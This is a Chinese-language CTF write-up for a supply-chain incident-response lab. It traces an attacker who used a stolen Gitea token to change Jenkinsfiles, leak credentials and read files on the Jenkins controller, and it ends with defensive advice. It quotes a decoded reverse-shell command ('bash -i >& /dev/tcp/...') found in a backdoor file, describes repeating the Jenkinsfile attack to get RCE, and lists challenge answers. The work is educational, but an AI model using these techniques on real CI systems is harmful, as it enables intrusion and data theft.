供应链安全-供应链应急-Part2 通关笔记
题目背景
本题是供应链安全应急响应的第二部分,主要考察对Gitea代码仓库和Jenkins持续集成环境的综合分析能力。黑客通过某种手段获取了开发者的Gitea Token,进而对多个代码仓库进行了恶意篡改,并在Jenkins构建管道中窃取了敏感信息,甚至植入了后门代码。
我们需要通过分析Gitea的提交历史、Jenkins的构建日志以及管道配置,还原黑客的攻击路径,并最终通过RCE(远程命令执行)获取服务器上的最终Flag。
解题步骤详解
步骤1:排查Gitea Token
题目: 排查Wonderland/caterpillar仓库,黑客获取到的gitea token
分析:
黑客在获取到开发者的权限后,通常会在代码仓库中留下痕迹。通过检查 Wonderland/caterpillar 仓库的提交历史和文件内容,我们发现在某些构建日志或环境变量配置中泄露了Gitea的访问令牌。
答案: flag{5d3ed5564341d5060c8524c41fe03507e296ca46}
步骤2:确认自动执行的管道
题目: 黑客使用gitea token推送到main分支后会自动执行哪个管道?
分析:
在Jenkins中,通常会配置Webhook来监听代码仓库的推送事件。当黑客使用窃取到的Token向 Wonderland/caterpillar 仓库的 main 分支推送代码时,Jenkins会自动触发对应的生产环境构建管道。通过查看Jenkins的Job配置,确认监听该分支的管道名称。
答案: flag{wonderland-caterpillar-prod}
步骤3:定位Flag2的获取时机
题目: 黑客在第几次构建时拿到的flag2?
分析:
进入 wonderland-caterpillar-prod 管道,查看其构建历史。我们发现前7次构建(#1至#7)都基于同一个正常的Commit(4c6def3e)。而在第8次构建(#8)时,代码版本变更为黑客推送的恶意Commit(8aebe0fb)。查看第8次构建的控制台输出日志,可以发现黑客通过修改 Jenkinsfile,利用 withCredentials 提取了环境变量中的敏感信息,并将其Base64编码后输出(QUVCMTQ5NjYtRkZDMi00RkIwLUJGNDUtQ0Q5MDNCMzUzNURBCg==)。
答案: flag{8}
步骤4:排查敏感信息获取分支
题目: 排查Wonderland/cheshire-cat仓库,找到黑客提交的用来获取敏感信息的分支commit值
分析:
转向 Wonderland/cheshire-cat 仓库,该仓库包含多个名为 challengeX 的分支。逐一检查这些分支的 Jenkinsfile,发现 challenge6 分支的配置最为可疑:它指定了 agent {label 'built-in'}(强制在Jenkins主节点运行),并执行了 sh 'cat ~/flag5.txt' 命令。获取该分支的最新Commit SHA值。
答案: flag{e7f15e151781393830ff69ff041d2b4da135908c}
步骤5:确认Flag5的获取时机
题目: 黑客在第几次提交拿取时拿到的flag5?
分析:
在Jenkins中查看 wonderland-cheshire-cat 管道的Pull Request构建历史。对应 challenge6 分支的PR是 PR-6。查看 PR-6 的第1次构建日志,确认命令 cat /var/jenkins_home/flag5.txt 被成功执行,并输出了文件内容。
答案: flag{6}
步骤6:提取Flag5内容
题目: 排查Wonderland/cheshire-cat仓库,找到黑客获取的flag5
分析:
直接从上述 PR-6 的构建日志中提取输出的Flag5明文内容。
答案: flag{6B31A679-6D70-469D-9F8D-6D6E80B3C29C}
步骤7:通过RCE获取最终Flag
题目: 分析黑客攻击手法并进行升级,拿到服务器里的flag_rce文件内容提交
分析:
题目要求我们模仿黑客的手法,通过修改 Jenkinsfile 来实现RCE并读取服务器上的 flag_rce 文件。
- 使用步骤1中获取的Gitea Token(
5d3ed5564341d5060c8524c41fe03507e296ca46),通过Gitea API向Wonderland/caterpillar仓库的main分支推送修改后的Jenkinsfile。 - 在新的
Jenkinsfile中,指定agent {label 'built-in'}以确保在主节点执行,并添加读取命令:sh 'cat /var/jenkins_home/flag_rce'。 - 推送成功后,Jenkins自动触发构建(或通过API手动触发)。
- 查看最新构建的控制台日志,成功读取到
flag_rce的内容。
答案:flag{e2665310468c12dfe3f32f7b1537b765}
步骤8:排查恶意代码插入版本
题目: 排查Wonderland/Twiddledee仓库,黑客在第几次版本迭代时插入了恶意代码?
分析:
分析 Wonderland/Twiddledee 仓库的提交历史和Tag记录。正常版本为 1.1.0。黑客(用户 xia0le)随后进行了一系列恶意提交。在版本号变更为 1.2.0 后,黑客在随后的提交(Commit 9ef8d9c4)中引入了后门文件 .config.js。随后版本号被更新为 1.3.0。因此,恶意代码是在 1.3.0 这个版本迭代周期内被插入的。
答案: flag{1.3.0}
步骤9:提取后门文件MD5
题目: 黑客留下了一个后门文件,黑客在哪一次提交的这个文件,提交这个文件的md5值
分析:
在上述分析中,确认后门文件为 .config.js。通过Gitea API获取该文件的Base64编码内容,解码后计算其MD5哈希值。
答案: flag{131a81982d68503545f8eac8c31a18e9}
步骤10:溯源黑客服务器
题目: 找到黑客服务器IP和PORT
分析:
查看后门文件 .config.js 的具体内容,发现其中包含一段Base64编码的字符串:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjY0LzQ0NDQgMD4mMQ==。
将其解码后得到反弹Shell的命令:bash -i >& /dev/tcp/192.168.31.64/4444 0>&1。
从中提取出黑客的C2服务器IP和端口。
答案: flag{192.168.31.64,4444}
总结
本题完整模拟了针对CI/CD流水线的供应链攻击场景。黑客的攻击链路如下:
- 窃取代码仓库访问凭证(Gitea Token)。
- 篡改代码仓库中的CI配置文件(Jenkinsfile)。
- 利用Jenkins的自动构建机制,在构建节点(甚至主节点)上执行恶意命令。
- 窃取环境变量中的敏感凭证(Flag2)和服务器本地文件(Flag5)。
- 在开源组件仓库(Twiddledee)中植入隐蔽的反弹Shell后门,实现持久化控制。
防范此类攻击的关键在于:严格限制CI/CD配置文件的修改权限、遵循最小权限原则配置构建节点、对构建日志中的敏感信息进行脱敏处理,以及加强对代码提交的审计和签名验证。